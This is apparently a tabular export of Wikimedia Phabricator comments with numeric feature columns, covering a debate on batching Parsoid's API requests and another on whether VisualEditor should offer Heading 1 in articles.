Also, note that Parsoid currently performs API requests with keep-alive disabled. With default socket options, this implies a limit of 470 API requests per second per client server before local port exhaustion occurs, as in T75949. Batching internally, without the involvement of TCP, avoids this limit.",,,1421295823,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,80,,1.0,0.0,0.14285714285714285,1.4285714285714286,0.14285714285714285,6.571428571428571,1.1428571428571428,0.14285714285714285,0.0,0.7142857142857143,2.0,0.0,0.0,0.14285714285714285,0.42857142857142855,0.2857142857142857,0.0,3.2857142857142856,12.857142857142858,0.0,1.1428571428571428,0.0,0.5714285714285714,0.0,0.5714285714285714,0.14285714285714285,0.0,0.14285714285714285,0.8571428571428571,2.142857142857143,0.0,4.285714285714286,1.5714285714285714,1.1428571428571428,0.14285714285714285,0.14285714285714285,0.0,0.14285714285714285,0.14285714285714285,2.142857142857143,0.0,0.7142857142857143,0.0,2.5714285714285716,0.0,0.7142857142857143,0.14285714285714285,0.0,0.2857142857142857,17.428571428571427,0.5714285714285714,0.5714285714285714,0.14285714285714285,0.14285714285714285,0.0,0.14285714285714285,0.14285714285714285,0.0,0.8571428571428571,0.2857142857142857,0.0,0.14285714285714285,0.14285714285714285,0.14285714285714285,0.2857142857142857,0.0,0.0,8.0,3.7142857142857144,6.714285714285714,2.0,2.0,10.428571428571429,0.0,0.0,0.0,0.0,4.857142857142857,0.0,0.7142857142857143,0.0,2.2857142857142856,12.857142857142858,2.2857142857142856,0.0,0.0,0.0,2.2857142857142856,0.0,0.42857142857142855,2.0,0.2857142857142857,1.2857142857142858,0.14285714285714285,0.14285714285714285,0.0,4.351470159054429,0.7100357507660878,"The two main implementations are: a batcher internal to parsoid, and a shared node.js batcher service. The internal batcher would operate roughly as follows:

* Instead of having the token handlers directly dispatch HTTP requests, they would send their requests to a batcher service, which would be local to the current parse operation. The batcher API would be slightly different to the HTTP API, since it needs to be able to easily aggregate titles, and the batcher will take over responsibility for HTTP protocol details such as timeouts.
* If the batch is full, the request can be dispatched on the next attempted queue insertion.
* If Parsoid returns to the event loop with requests queued in the batch but not sent, the request could permanently hang. So in relevant code paths prior to returning to the event loop, Parsoid needs notify the batcher, giving it a last chance to check if there are any batch requests queued so that it can dispatch them.
* Additionally, a timeout would be prudent, allowing Parsoid to recover from accidental return to the event loop without notification.

Gabriel suggested an external batcher which, if I understand his proposal correctly, would operate as follows:

* One cluster-wide batch queue per (wiki, action) tuple. 
* Requests to the proxy would be held in the batch queue until either it fills, or some specified timeout (e.g. 10ms) is reached. Then the batch query would be sent to the MW backend.
* While a request is waiting in the batch queue, and while it is waiting for the backend response, the client connections, one per item, would be held open. Responses would be sent to these clients after the batch query returns from the backend.
* This architecture avoids the need for significant changes inside Parsoid.

The main reason I am leaning towards the internal batcher is because some of the queues will have very little traffic on them, e.g. queues for small wikis. This makes for some uncomfortable tradeoffs when you try to set the dispatch timeout. Consider that parse operations are observed to take ~10s and issue ~100 API requests -- this implies a mean interval between requests on the order of 100ms, and a timeout of at least that much if there is to be any throughput benefit from batching at all. That is quite a long time to wait. From a throughput perspective, the optimal dispatch timeout may be more than 1s.

Explicit notification of the idle event avoids severe tradeoffs between batch size and latency. It can be implemented in either the internal or external design. But the need for idle event notification would reduce the attractiveness of the external batcher -- it would make the service stateful and its advantages in simplicity on the Parsoid side would be reduced. There is a risk that idle events could be lost anyway, and a timeout incurred, due to exhaustion of the client connection limit (globalAgent.maxSockets).

Also, note that Parsoid currently performs API requests with keep-alive disabled. With default socket options, this implies a limit of 470 API requests per second per client server before local port exhaustion occurs, as in T75949. Batching internally, without the involvement of TCP, avoids this limit."
399330,Batch Parsoid's API requests,"Request batching appears to be simple to implement (~100 lines according to @gwicke) and would cause a substantial decrease in API cluster CPU load. By switching it on only for requests initiated by the job queue, there would be no effect on user latency.

> The problem with general batching is that state in MediaWiki is not very well defined. Several extensions for example keep internal state between calls to tag hooks, and resetting that state between individual requests in a batch would probably produce a similar overhead as the regular per-request setup (30+ms).

No, parser state in MediaWiki is very well-defined, it is defined as the data which is cleared by Parser::clearState(). Extensions which keep internal state hook this function in order to clear their state. MediaWiki is reasonably well-optimised for clearing the parser state, since message parsing does so, often tens of times per request. The overhead is orders of magnitude smaller than the request setup time.

> The current performance numbers combined with several optimizations aimed at avoiding API requests lessened the need for API request batching on our end.

Parsoid is still by far the largest API consumer by CPU time.

> Speeding up individual API requests is a general architectural goal, and should be addressed in that context. Closing this bug as WONTFIX on our end.

I am familiar with MW setup time optimisation, and compared to that large, ongoing effort, Parsoid request batching looks like low-hanging fruit.",,,1421212316,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,80,,0.0,0.0,0.5,1.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.5,0.0,5.5,13.0,0.0,1.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,1.0,1.0,5.5,0.0,1.0,2.0,0.0,0.5,0.0,0.0,4.0,0.5,0.5,0.0,1.5,0.5,1.0,0.0,0.0,0.0,26.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,4.0,5.0,10.0,0.5,1.0,6.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.0,13.0,3.0,0.0,0.0,0.0,2.0,0.0,1.0,0.5,0.0,2.5,0.5,0.5,0.0,4.327502553626149,0.7286772216547497,"Request batching appears to be simple to implement (~100 lines according toSCREEN_NAME) and would cause a substantial decrease in API cluster CPU load. By switching it on only for requests initiated by the job queue, there would be no effect on user latency.

QUOTE

No, parser state in MediaWiki is very well-defined, it is defined as the data which is cleared by Parser::clearState(). Extensions which keep internal state hook this function in order to clear their state. MediaWiki is reasonably well-optimised for clearing the parser state, since message parsing does so, often tens of times per request. The overhead is orders of magnitude smaller than the request setup time.

QUOTE

Parsoid is still by far the largest API consumer by CPU time.

QUOTE

I am familiar with MW setup time optimisation, and compared to that large, ongoing effort, Parsoid request batching looks like low-hanging fruit."
227105,Batch Parsoid's API requests,"The current performance numbers combined with several optimizations aimed at avoiding API requests lessened the need for API request batching on our end.

Speeding up individual API requests is a general architectural goal, and should be addressed in that context. Closing this bug as WONTFIX on our end.",,,1370996729,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,2,True,,,-3,,2.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,13.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,4.867924528301887,0.8490566037735849,"The current performance numbers combined with several optimizations aimed at avoiding API requests lessened the need for API request batching on our end.

Speeding up individual API requests is a general architectural goal, and should be addressed in that context. Closing this bug as WONTFIX on our end."
227099,Batch Parsoid's API requests,"Adding custom batching support just for template expansion and extension tag calls would really be a workaround, and would add complexity to both clients and the server. If the performance of API requests could be improved in general, we could and should probably avoid that complex workaround in favor of the general solution.

In the longer term, our HTML storage and incremental re-parsing / expansion plans should reduce the number of template expansions and extension calls to a fraction of the level we'll produce initially. The round-trip testing we are currently performing is already close to the edit rate of the English Wikipedia and did not create any issues on the API cluster. A Parsoid installation tracking all edits on all wikis would probably create 2-3 times the number of API requests, which are probably still doable for the current API cluster.

Overall it seems to be a good idea to hold off on a custom batching solution until it is clear that it is really needed and general API performance improvements are not possible.",,,1361472978,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,1,True,,,-19,,1.5,0.0,0.0,1.0,1.0,7.5,2.5,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,2.0,0.5,6.5,12.0,0.0,1.0,1.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,2.0,0.5,3.5,0.5,1.5,1.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.5,5.5,0.0,0.5,0.0,0.0,0.0,20.5,0.0,0.5,0.5,1.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.5,4.5,7.5,1.0,4.0,11.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.5,12.0,2.5,0.0,0.0,0.0,3.5,0.0,0.5,2.5,0.0,2.0,0.5,0.0,0.0,4.505154639175258,0.6958762886597938,"Adding custom batching support just for template expansion and extension tag calls would really be a workaround, and would add complexity to both clients and the server. If the performance of API requests could be improved in general, we could and should probably avoid that complex workaround in favor of the general solution.

In the longer term, our HTML storage and incremental re-parsing / expansion plans should reduce the number of template expansions and extension calls to a fraction of the level we'll produce initially. The round-trip testing we are currently performing is already close to the edit rate of the English Wikipedia and did not create any issues on the API cluster. A Parsoid installation tracking all edits on all wikis would probably create 2-3 times the number of API requests, which are probably still doable for the current API cluster.

Overall it seems to be a good idea to hold off on a custom batching solution until it is clear that it is really needed and general API performance improvements are not possible."
227095,Batch Parsoid's API requests,"For us, the main use cases are template expansion using the PHP preprocessor and the expansion of extension tags. Currently, both of these are only available with a detour through the PHP parser (action=expandtemplates and action=parse respectively), so we'd like to add direct API end points to perform these actions.

A general batching mechanism would probably accept a posted JSON array with each member being an object containing the API arguments for one action (action etc). The return value would be a JSON array with results corresponding to the request array. Instead of relying on positions in an array the client could also supply UIDs for requests which are then mirrored in the result. This could be achieved with an reqid member in each request object.

The problem with general batching is that state in MediaWiki is not very well defined. Several extensions for example keep internal state between calls to tag hooks, and resetting that state between individual requests in a batch would probably produce a similar overhead as the regular per-request setup (30+ms).

In Parsoid, we can work around this issue for our specific use cases by maintaining a whitelist of stateless extensions which can be mixed in a batch without producing non-deterministic output. Non-whitelisted extensions would need to be expanded in a single action=parse request containing all extension tags for that particular extension in page order.",,,1359928307,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,1,True,,,-22,,1.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,7.333333333333333,1.3333333333333333,0.0,0.0,0.0,4.333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,1.3333333333333333,4.0,13.333333333333334,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,1.6666666666666667,1.6666666666666667,1.6666666666666667,0.3333333333333333,0.0,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,5.666666666666667,0.0,0.0,0.0,0.0,0.0,20.333333333333332,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,8.0,3.3333333333333335,6.333333333333333,0.0,1.0,12.333333333333334,0.0,0.0,0.0,0.0,5.333333333333333,0.0,0.6666666666666666,0.0,1.3333333333333333,13.333333333333334,1.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,4.333333333333333,0.3333333333333333,2.6666666666666665,0.0,0.0,0.3333333333333333,4.56064862104188,0.7594909771876064,"For us, the main use cases are template expansion using the PHP preprocessor and the expansion of extension tags. Currently, both of these are only available with a detour through the PHP parser (action=expandtemplates and action=parse respectively), so we'd like to add direct API end points to perform these actions.

A general batching mechanism would probably accept a posted JSON array with each member being an object containing the API arguments for one action (action etc). The return value would be a JSON array with results corresponding to the request array. Instead of relying on positions in an array the client could also supply UIDs for requests which are then mirrored in the result. This could be achieved with an reqid member in each request object.

The problem with general batching is that state in MediaWiki is not very well defined. Several extensions for example keep internal state between calls to tag hooks, and resetting that state between individual requests in a batch would probably produce a similar overhead as the regular per-request setup (30+ms).

In Parsoid, we can work around this issue for our specific use cases by maintaining a whitelist of stateless extensions which can be mixed in a batch without producing non-deterministic output. Non-whitelisted extensions would need to be expanded in a single action=parse request containing all extension tags for that particular extension in page order."
227091,Batch Parsoid's API requests,"action=query was built specifically to support batching, but other actions might choose not to implement it. Could you give a very specific example of
* How the final api request should look like?
* What do you expect in return.",,,1359927005,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,2.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,6.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,10.0,0.0,2.0,0.0,0.0,6.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9791666666666665,0.8958333333333334,"action=query was built specifically to support batching, but other actions might choose not to implement it. Could you give a very specific example of
* How the final api request should look like?
* What do you expect in return."
45334,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","From user suggestion:

| Heading 1 is very rare on enwiki, and indeed on most other installations.
| Where it is used (mostly on project discussion pages), it does not usually
| need to be edited. VisualEditor should not offer it.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1356129180,1372274701.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-whtfrzztibmjwea3vy7l,task_description,resolved,True,c1,1,True,False,True,-28,,0.0,0.0,1.0,3.0,3.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,7.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.857142857142857,0.6571428571428571,"From user suggestion:

| Heading 1 is very rare on enwiki, and indeed on most other installations.
| Where it is used (mostly on project discussion pages), it does not usually
| need to be edited. VisualEditor should not offer it.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
195676,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",This is now merged and will go out later today.,,,1372274701,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,This is now merged and will go out later today.
195668,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",Related URL: https://gerrit.wikimedia.org/r/69801 (Gerrit Change I5a58b4dcebd6ceae0ffcd24f663429f25bdc3db9),,,1371765581,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5a58b4dcebd6ceae0ffcd24f663429f25bdc3db9)
195663,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?",Related URL: https://gerrit.wikimedia.org/r/69801 (Gerrit Change I5a58b4dcebd6ceae0ffcd24f663429f25bdc3db9),,,1371765577,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5a58b4dcebd6ceae0ffcd24f663429f25bdc3db9)
195660,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","I believe that the current list of titles  will quickly be a problem if VE is rolled out to unexperienced users on wikipedia: they will probably use Heading 1 because they don't know it shouldn't be used in 99.9...% of edits.
When I tried to add a section, I used Heading 1 by default and only changed back to Heading 2 when I saw that the new title was bigger than what I'm used to.

If you think <h1> titles should be kept in VE, it should be separated from the other titles (after other ones). Eventually, would it be possible to make that configurable on a per wiki basis if some wiki really use <h1> as a normal title ?",,,1371736146,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-2,,0.5,0.0,0.0,2.5,1.0,6.0,2.0,0.5,0.0,2.0,2.0,1.5,0.0,0.5,0.0,3.0,0.0,5.5,14.5,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,3.5,2.5,2.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.5,0.0,1.5,0.0,0.0,1.0,9.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,4.5,4.5,7.5,4.5,0.5,5.5,0.0,0.0,0.0,0.0,5.5,0.0,2.0,0.0,6.5,14.5,4.5,0.5,0.0,0.0,6.5,0.0,1.5,2.5,0.0,0.0,0.5,0.0,3.0,3.563380281690141,0.7746478873239437,"I believe that the current list of titles  will quickly be a problem if VE is rolled out to unexperienced users on wikipedia: they will probably use Heading 1 because they don't know it shouldn't be used in 99.9...% of edits.
When I tried to add a section, I used Heading 1 by default and only changed back to Heading 2 when I saw that the new title was bigger than what I'm used to.

If you think <h1> titles should be kept in VE, it should be separated from the other titles (after other ones). Eventually, would it be possible to make that configurable on a per wiki basis if some wiki really use <h1> as a normal title ?"
195656,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","> Lots of wikis (e.g.meta) use H1s quite liberally.

I didn't know that, and it seems bad practice. Could you point to some examples? Maybe there is a use case I'm completely overlooking.


> | H1: Title
> | H2: Heading
> | H3: Sub-heading
> | H4: Sub-heading
> | H5: Sub-heading
> | H6: Sub-heading

I'm not so happy about the name ""Title"", and it being at the top of that list. I would much rather see it buried somewhere at the bottom, maybe as the very last option, and something like ""Duplicate page title"", or at least something that makes it abundantly clear that it is not something that is meant to be used.",,,1371622689,,PHID-USER-n27daagbl3wqf3ghr4nk,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-2,,1.5,2.5,1.5,1.5,2.0,4.5,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.5,2.5,0.5,8.5,8.0,2.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,4.5,2.0,4.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,2.0,1.0,0.0,0.5,2.0,0.0,1.0,0.0,2.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,3.5,4.0,8.0,1.0,2.5,5.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,7.0,8.0,2.5,0.5,2.5,0.0,7.0,0.0,1.5,0.5,0.0,0.5,0.0,1.0,0.0,3.568965517241379,0.6982758620689655,"QUOTE

I didn't know that, and it seems bad practice. Could you point to some examples? Maybe there is a use case I'm completely overlooking.


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm not so happy about the name ""Title"", and it being at the top of that list. I would much rather see it buried somewhere at the bottom, maybe as the very last option, and something like ""Duplicate page title"", or at least something that makes it abundantly clear that it is not something that is meant to be used."
195653,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","AzaToth's suggestion is to label as follows:

| H1: Title
| H2: Heading
| H3: Sub-heading
| H4: Sub-heading
| H5: Sub-heading
| H6: Sub-heading

The differentiation between H3 - H6 would be only styling. Not sure how I feel about this, but it's certainly ""correct"".",,,1371598971,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,24.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,11.0,0.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,3.026666666666667,0.5866666666666667,"AzaToth's suggestion is to label as follows:

| H1: Title
| H2: Heading
| H3: Sub-heading
| H4: Sub-heading
| H5: Sub-heading
| H6: Sub-heading

The differentiation between H3 - H6 would be only styling. Not sure how I feel about this, but it's certainly ""correct""."
195648,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","(In reply to comment #12)
> Kill the H1s from the editor please. They should really be considered
> deprecated in the wiki syntax, and aren't something that people should be
> able to create by accident.

VE is meant to be able to edit all content that's valid. Lots of wikis (e.g. meta) use H1s quite liberally. Discouraging use is fine, but preventing use feels wrong. (Also, what the hell should VE do when it encounters an H1 in the wild, if they were 'disabled'?)",,,1371598575,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,1.0,0.0,8.0,3.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,0.0,4.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,5.0,14.0,3.0,1.0,5.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,3.0,9.0,8.0,1.0,3.0,0.0,3.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,3.282051282051282,0.7435897435897436,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE

VE is meant to be able to edit all content that's valid. Lots of wikis (e.g. meta) use H1s quite liberally. Discouraging use is fine, but preventing use feels wrong. (Also, what the hell should VE do when it encounters an H1 in the wild, if they were 'disabled'?)"
195645,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","Kill the H1s from the editor please. They should really be considered deprecated in the wiki syntax, and aren't something that people should be able to create by accident.",,,1371598260,,PHID-USER-yek7ymogrv4qc67oilhf,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,False,,,-2,,0.0,3.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.8484848484848485,"Kill the H1s from the editor please. They should really be considered deprecated in the wiki syntax, and aren't something that people should be able to create by accident."
195640,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","(In reply to comment #10)
> Instead of messing around with the numbers and having [heading 3 = <h4>], why
> not rename them ""Heading"", ""Subheading"", and ""Sub-subheading"".

So:

| H1: Title
| H2: Heading
| H3: Sub-heading
| H4: Sub-sub-heading
| H5: Sub-sub-sub-heading
| H6: Sub-sub-sub-sub-heading

It might get a bit ridiculous, but I like the idea.",,,1371160524,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-whtfrzztibmjwea3vy7l,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.430379746835443,0.4936708860759494,"(In reply to comment #10)
QUOTE
QUOTE

So:

| H1: Title
| H2: Heading
| H3: Sub-heading
| H4: Sub-sub-heading
| H5: Sub-sub-sub-heading
| H6: Sub-sub-sub-sub-heading

It might get a bit ridiculous, but I like the idea."
195638,"VisualEditor: For article namespace, disable Heading-1s (<h1>), others?","**ypnypn9** wrote:

(In reply to comment #9)
> It is unfortunate that wikitext currently allows h1 elements. It shouldn't.
> It should be the end aim for the visual editor to have feature parity with
> wikitext, but at the current point it makes it natural to select a heading 1
> when you really never want to do that. I would prefer to see it not available
> in the visual editor at all, but as a compromise, I could live with renaming
> Header 1 to Pageheader, and move it all the way to the bottom of markup
> elements, and rename header 2 to header 1, etc. That way we don't lose an
> option in the visual editor that is available in wikitext, and at the same
> time reduce the chance of people thinking it is an option they may want to
> choose for a header, which it is not.

